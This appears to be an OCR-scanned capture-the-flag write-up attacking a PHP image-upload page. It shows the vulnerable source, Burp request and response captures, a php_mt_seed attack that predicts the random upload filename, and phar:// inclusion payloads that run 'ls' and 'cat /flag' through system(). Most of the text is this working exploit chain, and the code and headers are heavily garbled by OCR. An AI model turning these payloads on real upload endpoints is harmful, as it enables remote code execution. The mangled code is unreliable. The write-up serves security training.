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error_reporting(@

function show_error_message

die("<div class=\"msg error\" id=\"message\">

<i class=\"fa fa-exclamation-triangle\"></i> </div>"

function show_message

echo("<div class=\"msg success\" id=\"message\">

<i class=\"fa fa-exclamation-triangle\"></i> </div>"

function random_str = "32"
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session_start();

$reg="/gif|jpgljpegl|png/";
if (isset($_POST['submit'])) {

?>

$seed = rand(0,999999999);

mt_srand($seed);

$ss = mt_rand();

$hash = md5(session_id() . $ss);
setcookie('SESSION', $hash, time() + 3600);

if ($_FILES["file"]["error"] > 0) {

show_error_message("Upload ERROR. Return Code: " . $ FILES["file-upload-field"]["error"]);
}
$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))

&& ($_FILES["file-upload-field"]["size"] < 204809));
$check3=!preg _match($reg,pathinfo($ FILES['file-upload-field']['name"'], PATHINFO_EXTENSION));

if ($check3) show_error_message("Nope!");
if ($check2) {
$filename = './uP104Ds/' . random_str() . '_' . $ FILES['file-upload-field']['name'];
if (move_uploaded file($ FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $ FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
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#4% $filename = './uP104Ds/’ . random_str() . '_' . $_FILES['file-upload-field']['name’];
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Request
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Response

Raw | Headers | Hex

n Actions v

1 FOST /?page=upload HTTF/1.1

Host: Z20.249.52.133:57930
. User-Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko/Z0100101 Firefox/68.0
Accept: text/html,application/xhtml+xml, application/xml;gq=0.9, */*;q=0.8
Accept-Language:
zh-CN, zh;gq=0.8, sh-TW; gq=0.7, 2h-HK; q=0.5,en-U3; q=0.3,en;g=0.2
& Accept-Encoding: gzip, deflate
Content-Type: multipart/form—data;
boundarv=
2 Content-Length: 488
Connection: close
Referer: http://220.249.52.133:57930/
Cookie: PHFSESSID=:
Upgrade-Insecure-Requests: 1

Wing4; =x&4; rv:E8.0)

8553721819604

8553721819604

» Content-Disposition: form-data; name="file-upload-field"; filenames="
horse.jpg"™

16 Content-Type: image/jpeg
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8553721818604

form-data; name="submit"

Content-Disposition:

Upload Image
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32f1dbd6fab9d7ceb8bald52fc57b644

- Raw Render n Actions v

A 1 HTTPR/1l.1 200 OK
P 2 Server: nginx/l.4.€ (Ubuntu)
Date: Mon, 0Z Nowv Z0Z0 14:11:18 GMT
Content-Type: text/html
Connection: close
¥-Powered-By: PHP/5.5.9-lubuntu4.zé&
Expires: Thu, 19 Nov 1931 0Z:5IZ:00 GMT
2 Cache-Control: no-store, no-cache, must-revalidate,
S Pragma: no-cache
10 Set-Cookie: SESSTON=3Zfldbdéfabid7cebi8baldsSZfc57hEe44;
11 Content-Length: 1230

1o

post-chec

expires

< !DOCTYPE html>
<html>
<head>
<meta charset="UTF-5">
17 <title>
Upload
</title>
18 <link rel="stylesheet” href="http://fortawesome.github. ic
<link rel="stylesheet" href="CS55/upload.css">

</ head>

<body>
<div class="msg info" id="messags">
<1 class="fa fa-info-circle">
<fi>
please upload an IMAGE tfile (gif|jpg|ip=edg|png)
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MRIEFphp mt seed B+

CCELIEG 74700299

Found 1, trying 11744@°

BITRT

BUAT DA B AR SR B B A2
<?php

//

$arr = array(674700299);
foreach($arr as $%$a) {
mt_srand(%$a);

$set = array("a", "A", "b", "B", "c", "C", "d",
g", "e", "h", "RH", "i", "I", "j",
m", "M", "n", "N", "o", "O", "p",
igl, YIS, Y, T, Yut, MUY, "
W, N, YaY, T, i, Yat, MY

$str = '';

$ss = mt_rand();

for ($i = 1; $i <= 32; ++%i) {
$ch = mt_rand(@, count($set) - 1);
$str .= $set[$ch];

echo 'http://220.249.52.133:41672/uP104Ds/"' . $str .
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https://www.openwall.com/php_mt_seed/

($arr $a) {
mt_srand($a};
$set ("a"

mt_rand(};

($i - 1; $1 32; ++8%i) {
$ch = mt_rand{8, count($set}) 1);
$str $set[$ch];

1

J

echo ‘'http://228.249.52.133:41672/uP104Ds/" . %$str . '_horse.jpg’

run (ctri+x) || A || Copy || SEEIRBE | ENEE
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hitp://220.249.52.133:41672/uP1040s/97 55WEPDLEFgFuuJWEKvusFIvjRtkvDy_horse.jpg
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220.249.52.133:57930/uP104Ds/97 5SWEPDL6FgFuuJWEkvubPiviRtkvDy_horse.jpg
El& "http://220.249.52.133:57930/uP104Ds/975SWEPDL6FgFuuJWEkvu6PivjRtkvDy horse.jpg”
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payload

?page=phar://uP104Ds/975SWEPDL6FgFuuJWEkvu6PivjRtkvDy horse.jpg/horse&cmd=echo system('ls');

220.249.52.133:57930/?page=phar://uP104Ds/975SWEPDL6FgFuuJWEkvubPiviRtkvDy_horse.jpg/horse&cmd=echo system(’ls’);

please upload an IMAGE file (gifljpgljpeg|png)

CS5 flag-Edi98vJFahnlp.txt index_html index_php js uP104Ds upload.php upload.php
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220.249.52.133:57930/?page=phar://uP104Ds/9755WEPDL6FgFuuJWEkvu6bPiviRtkvDy_horsejpg/horse&cmd=echo system('cat ./flag-Edi98vJF8hnip.txt’);
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220.249.52.133:57930/?page=phar://uP104Ds/975SWEPDL6FgFuuJWEkvubPiviRtkvDy_horse.jpg/horsedcmd=echo system('cat /flag’);
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